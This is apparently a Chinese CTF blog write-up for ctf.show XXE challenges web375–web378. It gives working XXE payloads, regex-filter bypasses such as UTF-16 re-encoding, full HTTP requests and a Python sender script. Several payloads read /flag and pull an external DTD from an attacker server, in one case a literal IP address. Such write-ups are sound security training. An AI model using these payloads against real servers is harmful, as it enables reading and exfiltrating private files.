web373-web374 传送门:
XXE学习记录 | Ed3n’s Blog
web375 先看源码:
<?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
与上题的区别是多了如下代码:
if (preg_match ('/<\?xml version="1\.0"/' , $xmlfile )){ die ('error' ); }
相当于是不能出现 <?xml version="1.0"
方法一: 不要不就好了?web374 的做法也没有加 <?xml version="1.0" encoding="UTF-8"?>
。那就和 web374 做法一致就行
方法二: 在<?xml version="1.0"
中的空格后加个换行符,发包内容为:
POST / HTTP/1.1 Host: b9bd31cd-52ff-4eb0-b2b2-9ae0b6528086.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 212 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd"> %dtd; ]>
成功接收到 flag
方法三: 在<?xml version="1.0"
中的空格后再加个空格,发包内容为:
POST / HTTP/1.1 Host: b9bd31cd-52ff-4eb0-b2b2-9ae0b6528086.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 212 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd"> %dtd; ]>
成功接收到 flag
web376 先看源码:
<?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/i' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
与上题的区别是多了如下代码:
if (preg_match ('/<\?xml version="1\.0"/i' , $xmlfile )){ die ('error' ); }
相当于是不能出现 <?xml version="1.0"
及其大小写。emmmm… web375 的绕过方法好像也没有大小写绕过啊?
那就直接用 web375 的方法好了
web377 先看源码:
<?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"|http/i' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
与上题的区别是多了如下代码:
if (preg_match ('/<\?xml version="1\.0"|http/i' , $xmlfile )){ die ('error' ); }
相当于是不能出现 <?xml version="1.0"
和 http
及其大小写
我们先看一下原 payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://81.71.4.233:8000/XXE.dtd"> %dtd; ]>
有一个 encoding="UTF-8"
的参数,那么我们就可以考虑除了 UTF-8 以外的其他编码,可以从 XML 编码 | 菜鸟教程 (runoob.com) 中查看。
那我们取其中一个试试看:
先写一个编码转换的脚本(转 Unicode):
utf8_str = input ("utf-8:" ) unicode_str = utf8_str.encode('utf-16' ) print ("Unicode:" , unicode_str)
编码后为:
b'\xff\xfe<\x00?\x00x\x00m\x00l\x00 \x00v\x00e\x00r\x00s\x00i\x00o\x00n\x00=\x00"\x001\x00.\x000\x00"\x00 \x00e\x00n\x00c\x00o\x00d\x00i\x00n\x00g\x00=\x00"\x00U\x00T\x00F\x00-\x008\x00"\x00?\x00>\x00\n\x00\n\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00t\x00e\x00s\x00t\x00 \x00[\x00\n\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00%\x00 \x00f\x00i\x00l\x00e\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00p\x00h\x00p\x00:\x00/\x00/\x00f\x00i\x00l\x00t\x00e\x00r\x00/\x00r\x00e\x00a\x00d\x00=\x00c\x00o\x00n\x00v\x00e\x00r\x00t\x00.\x00b\x00a\x00s\x00e\x006\x004\x00-\x00e\x00n\x00c\x00o\x00d\x00e\x00/\x00r\x00e\x00s\x00o\x00u\x00r\x00c\x00e\x00=\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00\n\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00%\x00 \x00d\x00t\x00d\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00h\x00t\x00t\x00p\x00:\x00/\x00/\x00v\x00p\x00s\x00-\x00i\x00p\x00:\x008\x000\x000\x000\x00/\x00X\x00X\x00E\x00.\x00d\x00t\x00d\x00"\x00>\x00\n\x00%\x00d\x00t\x00d\x00;\x00\n\x00]\x00>\x00\n\x00'
但是直接放 Burp 里传不知道为什么成功不了
试了 python 爬虫倒是成功了:
import requestsurl = "http://819c130f-b2e1-4626-b9f8-8326d5ececbc.challenge.ctf.show/" data = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd"> %dtd; ]> """ data = data.encode('utf-16' ) res = requests.post(url=url, data=data) print (res.text)
web378 f12 发现可疑代码:
<script type ='text/javascript' > function doLogin ( ){ var username = $("#username" ).val (); var password = $("#password" ).val (); if (username == "" || password == "" ){ alert ("Please enter the username and password!" ); return ; } var data = "<user><username>" + username + "</username><password>" + password + "</password></user>" ; $.ajax ({ type : "POST" , url : "doLogin" , contentType : "application/xml;charset=utf-8" , data : data, dataType : "xml" , anysc : false , success : function (result ) { var code = result.getElementsByTagName ("code" )[0 ].childNodes [0 ].nodeValue ; var msg = result.getElementsByTagName ("msg" )[0 ].childNodes [0 ].nodeValue ; if (code == "0" ){ $(".msg" ).text (msg + " login fail!" ); }else if (code == "1" ){ $(".msg" ).text (msg + " login success!" ); }else { $(".msg" ).text ("error:" + msg); } }, error : function (XMLHttpRequest,textStatus,errorThrown ) { $(".msg" ).text (errorThrown + ':' + textStatus); } }); } </script >
这段代码是一个 JavaScript 函数,名为doLogin()
,它执行用户登录的操作。具体功能如下:
获取用户输入的用户名和密码:
通过$("#username").val()
获取用户名输入框的值,存储在变量username
中。
通过$("#password").val()
获取密码输入框的值,存储在变量password
中。
检查用户名和密码是否为空:
如果用户名或密码为空,则弹出警告框提示用户输入用户名和密码,并返回,不继续执行登录操作。
构建XML格式的数据:
使用用户输入的用户名和密码构建一个XML格式的字符串,如<user><username>user123</username><password>pass123</password></user>
,存储在变量data
中。
发送Ajax请求:
使用$.ajax()
方法发送 POST 请求到 URL 为 “doLogin”。
设置请求头的内容类型为 XML ,编码为 UTF-8 。
发送构建好的 XML 数据。
期望响应的数据类型为 XML 。
设置anysc
为 false ,表示同步请求。
定义请求成功的回调函数和请求失败的回调函数。
处理响应:
如果请求成功,从响应中提取code
和msg
,根据code
的值显示不同的消息在页面上。
如果请求失败,显示错误消息在页面上。
显然又是 XXE,输入 admin/admin 后看他发送的包更加明了一些:
payload 反而比前面几道简单:
<!DOCTYPE XEE [ <!ENTITY payload SYSTEM "file:///flag" > ]> <user > <username > &payload; </username > <password > &payload; </password > </user >